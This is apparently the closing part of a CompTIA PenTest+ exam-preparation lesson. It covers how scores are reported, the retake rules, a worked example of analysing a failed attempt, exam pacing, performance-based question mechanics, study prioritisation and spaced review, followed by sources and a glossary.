Dennis Sylvester Hurd from Minuwangoda, WP, Sri Lanka, Canada - CC0 - Wikimedia Commons
How your result is reported, and what to do with it
The exam reports a score on the 100-900 scale, and 750 passes.[2] The comparison is with a fixed cut score: this is a criterion-referenced test, so your result does not depend on who else sat that month.[4] CompTIA does not publish pass rates, and it says passing scores are set statistically and can change.[4] Online you review your score on screen after a post-exam survey, and you may not photograph or take notes from the results screen.[4] Exam content is not available for review, so you will not see which items you missed.[4]
If you pass, the certification lasts three years, and Lesson 1 covers renewal.[4] It does not authorize you to test anything: that still takes the system owner's written permission, for a defined scope. If you do not pass, there is no wait before a second attempt and at least 14 calendar days before a third or later.[4] The policy permits an immediate retake, but your tracker should pick the date. Write the attempt up the way Module 9 taught you to write a finding, with a root cause you can change.
- Title: first attempt not passed, scored 690 (a fictional example).
- Evidence: the score report, and your memory of the clock: question 60 at about minute 112, against a checkpoint at minute 90.
- Root cause: a multiple-choice pace of about 95 seconds, never measured under time. "Bad at exams" is no root cause, because nothing can be done with it.
- Remediation: two weeks of timed mixed sets, then rebook once the 45-minute block has held twice.
Common misconceptions
- "Reset undoes my last step." It removes all your work on that question, and nothing else. Correct small errors by hand.
- "The biggest domain always gets the most hours." Weight counts the points; your gap counts the ones you lack.
- "A brain dump is just aggressive practice." It is copied exam content, and CompTIA says people who use it will lose their certifications and be suspended from testing.
- "A high practice score means I will pass." No conversion exists from a practice score to the 750, and no course or provider can promise a pass.
Putting it together
- 165 / 90 = 1.83 minutes, about 1 minute 50 seconds, is only the average. The plan is a 135-minute first pass at 1.5 minutes a question, 15 minutes of return visits and a 15-minute last look.
- The checkpoints are question 30 at minute 45, question 60 at minute 90 and question 90 at minute 135. Inside the pass, multiple-choice gets 75 seconds and a simulation five minutes; 20 extra seconds on 84 items costs 28 minutes.
- CompTIA lists PenTest+ with simulations, says some PBQs may offer partial credit and some may carry more points, and keeps the scoring confidential, so leave no field empty.[3]
- Reset removes all your work on that one question and nothing else, Next or Previous saves it, and show question brings the instructions back.[3]
- The five moves are ask, limits, evidence, sure rows and exit, with every field filled when you leave.
- A /25 holds 128 addresses and a /24 holds 256. An exclusion beats a range, a filtered port is a limitation, a version string gets validated, and observed behavior gets reported.
- The weights are 13, 21, 17, 35 and 14 percent.[1] Study priority is weight x gap, so 14 x 0.50 = 7.00 beats 35 x 0.10 = 3.50, and 20 mixed items split 3, 4, 3, 7, 3.
- In Cepeda's study the best review gap for recall was about 8 days for a test 35 days after the review, and about 3 days for a test 7 days after it.[9] Review weekly, then every two or three days at the end.
- The objectives document says brain dump users will have their certifications revoked and be suspended from testing.[1] No practice score converts to the 750, and nothing guarantees a pass.
Sources
- CompTIA. (2023). CompTIA PenTest+ PT0-003 V3 certification exam objectives (Exam Objectives Document Version 5.0, printed December 2024): authorized materials use policy, test details, and domain percentages. CompTIA (PDF)
- CompTIA. (2026). CompTIA PenTest+ (exam details for V3, PT0-003; retrieved 3 November 2026). comptia.org
- CompTIA. (n.d.). Performance-based questions; (2024, December 14). What is a performance-based question?; (2024, December 18). Performance-based questions FAQs. comptia.org (PBQ page); comptia.org (blog); comptia.org (FAQs)
- CompTIA. (n.d.). Candidate testing policies, Online-proctored exam guidelines, Exam development, CompTIA certification retake policy and Certification renewal policy. comptia.org (testing policies); comptia.org (online guidelines); comptia.org (development); comptia.org (retakes); comptia.org (renewal)
- CompTIA. (n.d.). Unauthorized training materials FAQ; (2024, December 18). Why brain dumps don't work. comptia.org (FAQ); comptia.org (blog)
- Lyon, G. (n.d.). Nmap reference guide: Port scanning basics; and NSE documentation for the smb-protocols and ssl-cert scripts. port states; smb-protocols; ssl-cert
- Red Hat. (n.d.). Security backporting practice. Red Hat Customer Portal. access.redhat.com
- Dunlosky, J., Rawson, K. A., Marsh, E. J., Nathan, M. J., and Willingham, D. T. (2013). Improving students' learning with effective learning techniques: Promising directions from cognitive and educational psychology. Psychological Science in the Public Interest, 14(1), 4-58. Summary at Association for Psychological Science
- Cepeda, N. J., Vul, E., Rohrer, D., Wixted, J. T., and Pashler, H. (2008). Spacing effects in learning: A temporal ridgeline of optimal retention. Psychological Science, 19(11), 1095-1102. doi.org
- Key terms
- Performance-based question (PBQ)
- An exam item that has you carry out a task in a simulated or virtual environment, rather than choose one answer from a list.
- Reset button (PBQ)
- The control in a CompTIA simulation that removes all your work on that one question and nothing else; it is not an undo.
- First pass (exam)
- One run through every exam question at a set pace, leaving unfinished items and doubts for a later return visit.
- Partial credit
- Credit for part of a correct response; CompTIA says some performance-based questions may offer it and keeps the details confidential.
- Weight x gap
- A study priority: a domain's exam weight multiplied by the share of its delayed practice questions you still miss.
- Spaced repetition
- Reviewing material at planned intervals rather than all at once, so that each review comes after some forgetting has begun.
- Testing effect
- The finding that retrieving information from memory strengthens later recall more than rereading it does.
- Forgetting curve
- The pattern in which memory that is not reviewed fades quickly at first and then more slowly.
- Brain dump
- Unauthorized copies of real exam questions, often pooled from test takers' memories; CompTIA treats using or contributing to them as cheating.
- Criterion-referenced test
- A test that scores each candidate against a fixed standard or cut score rather than against other candidates.